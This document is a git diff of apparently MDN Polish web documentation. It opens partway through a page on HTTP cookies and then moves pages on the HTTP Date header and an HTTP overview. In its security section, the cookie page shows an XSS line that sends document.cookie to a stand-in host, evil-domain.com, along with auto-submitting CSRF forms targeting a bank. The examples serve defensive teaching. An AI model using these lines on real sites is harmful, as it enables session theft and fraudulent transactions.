Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:

+ +
+
__Host-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain i mającą atrybut Path o wartości /. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".
+
__Secure-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-.
+
+ +

Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.

+ +
+

Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.

+
+ +

Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.

+ +

Dostęp JavaScript za pomocą Document.cookie

+ +

Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly nie jest ustawiona, to także istniejące ciasteczka są dostępne.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly.

+ +

Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.

+ +

Bezpieczeństwo

+ +
+

Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.

+
+ +

Przejmowanie sesji i XSS

+ +

Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
+ +

Atrybut HttpOnly może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).

+ +

Cross-site request forgery (CSRF)

+ +

Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:

+ +
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>) gdy strona jest ładowana:

+ +
<form action="https://bank.example.com/withdraw" method="POST">
+  <input type="hidden" name="account" value="bob">
+  <input type="hidden" name="amount" value="1000000">
+  <input type="hidden" name="for" value="mallory">
+</form>
+<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
+
+ +

Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:

+ + + +

Śledzenie i prywatność

+ +

Ciasteczka podmiotów zewnętrznych (third-party cookies)

+ +

Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).

+ +

Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.

+ +

Do-Not-Track

+ +

Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.

+ + + +

Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.

+ +

W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.

+ +

Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.

+ +

Ciasteczka zombie i  "Evercookies"

+ +

Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.

+ + + +

Zobacz także

+ + diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html deleted file mode 100644 index f348b4e839..0000000000 --- a/files/pl/web/http/headers/data/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Data -slug: Web/HTTP/Headers/Data -translation_of: Web/HTTP/Headers/Date ---- -
{{HTTPSidebar}}
- -

Date jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.

- - - - - - - - - - - - -
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
- -

Składnia

- -
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
-
- -

Dyrektywy

- -
-
<day-name>
-
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
-
<day>
-
2 digit day number, e.g. "04" or "23".
-
<month>
-
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
-
<year>
-
4 digit year number, e.g. "1990" or "2016".
-
<hour>
-
2 digit hour number, e.g. "09" or "23".
-
<minute>
-
2 digit minute number, e.g. "04" or "59".
-
<second>
-
2 digit second number, e.g. "04" or "59".
-
GMT
-
-

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

-
-
- -

Przykłady

- -
Date: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Specyfikacja

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Zgodność z przeglądarką

- - - -

{{Compat("http.headers.Date")}}

- -

Zobacz również

- - diff --git a/files/pl/web/http/headers/date/index.html b/files/pl/web/http/headers/date/index.html new file mode 100644 index 0000000000..f348b4e839 --- /dev/null +++ b/files/pl/web/http/headers/date/index.html @@ -0,0 +1,81 @@ +--- +title: Data +slug: Web/HTTP/Headers/Data +translation_of: Web/HTTP/Headers/Date +--- +
{{HTTPSidebar}}
+ +

Date jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.

+ + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Składnia

+ +
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Dyrektywy

+ +
+
<day-name>
+
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
+
<day>
+
2 digit day number, e.g. "04" or "23".
+
<month>
+
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
+
<year>
+
4 digit year number, e.g. "1990" or "2016".
+
<hour>
+
2 digit hour number, e.g. "09" or "23".
+
<minute>
+
2 digit minute number, e.g. "04" or "59".
+
<second>
+
2 digit second number, e.g. "04" or "59".
+
GMT
+
+

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

+
+
+ +

Przykłady

+ +
Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Specyfikacja

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Zgodność z przeglądarką

+ + + +

{{Compat("http.headers.Date")}}

+ +

Zobacz również

+ + diff --git "a/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" "b/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" deleted file mode 100644 index 5fe95ca7ea..0000000000 --- "a/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: HTTP - wiadomości ogólne -slug: Web/HTTP/HTTP_wiadomosci_ogólne -tags: - - HTML - - HTTP - - Mechanika stron - - Wstęp -translation_of: Web/HTTP/Overview ---- -
{{HTTPSidebar}}
- -

HTTP stanowi {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd.

- -

A Web document is the composition of different resources

- -

Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są żądaniami, a wiadomości wysyłane w odpowiedzi przez serwer odpowiedziami.

- -

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.

- -

Komponenty systemów opartych o HTTP 

- -

HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.

- -

Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną odpowiedzią. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.

- -

Client server chain

- -

W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.

- -

Klient: agent użytkownika (user-agent)

- -

User-agent to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.

- -

Przegladarka jest zawsze jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)

- -

Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.

- -

Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź

- -

The Web server

- -

On the opposite side of the communication channel, is the server, which serves the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.

- -

A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.

- -

Proxies

- -

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

- - - -

Basic aspects of HTTP

- -

HTTP is simple

- -

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

- -

HTTP is extensible

- -

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

- -

HTTP is stateless, but not sessionless

- -

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

- -

HTTP and connections

- -

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

- -

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

- -

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

- -

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

- -

What can be controlled by HTTP

- -

This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

- -

Here is a list of common features controllable with HTTP.

- - - -

HTTP flow

- -

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

- -
    -
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
    2. -
  2. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: - 
    GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
    -
    3. -
  3. Read the response sent by the server, such as: - 
    HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    -
    4. -
  4. Close or reuse the connection for further requests.
    5. -
- -

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

- -

HTTP Messages

- -

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

- -

There are two types of HTTP messages, requests and responses, each with its own format.

- -

Requests

- -

An example HTTP request:

- -

A basic HTTP request

- -

Requests consists of the following elements:

- - - -

Responses

- -

An example response:

- -

- -

Responses consist of the following elements:

- - - -

APIs based on HTTP

- -

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

- -

Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

- -

Conclusion

- -

HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

- -

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

diff --git a/files/pl/web/http/overview/index.html b/files/pl/web/http/overview/index.html new file mode 100644 index 0000000000..5fe95ca7ea --- /dev/null +++ b/files/pl/web/http/overview/index.html @@ -0,0 +1,178 @@ +--- +title: HTTP - wiadomości ogólne +slug: Web/HTTP/HTTP_wiadomosci_ogólne +tags: + - HTML + - HTTP + - Mechanika stron + - Wstęp +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP stanowi {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd.

+ +

A Web document is the composition of different resources

+ +

Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są żądaniami, a wiadomości wysyłane w odpowiedzi przez serwer odpowiedziami.

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.

+ +

Komponenty systemów opartych o HTTP 

+ +

HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.

+ +

Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną odpowiedzią. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.

+ +

Client server chain

+ +

W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.

+ +

Klient: agent użytkownika (user-agent)

+ +

User-agent to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.

+ +

Przegladarka jest zawsze jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)

+ +

Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.

+ +

Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź

+ +

The Web server

+ +

On the opposite side of the communication channel, is the server, which serves the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.

+ +

A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.

+ +

Proxies

+ +

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

+ + + +

Basic aspects of HTTP

+ +

HTTP is simple

+ +

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

+ +

HTTP is extensible

+ +

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

+ +

HTTP is stateless, but not sessionless

+ +

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

+ +

HTTP and connections

+ +

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

+ +

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

+ +

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

+ +

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

+ +

What can be controlled by HTTP

+ +

This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

+ +

Here is a list of common features controllable with HTTP.

+ + + +

HTTP flow

+ +

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

+ +
    +
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
    2. +
  2. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Read the response sent by the server, such as: + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
    4. +
  4. Close or reuse the connection for further requests.
    5. +
+ +

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

+ +

HTTP Messages

+ +

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

+ +

There are two types of HTTP messages, requests and responses, each with its own format.

+ +

Requests

+ +

An example HTTP request:

+ +

A basic HTTP request

+ +

Requests consists of the following elements:

+ + + +

Responses

+ +

An example response:

+ +

+ +

Responses consist of the following elements:

+ + + +

APIs based on HTTP

+ +

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

+ +

Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

+ +

Conclusion

+ +

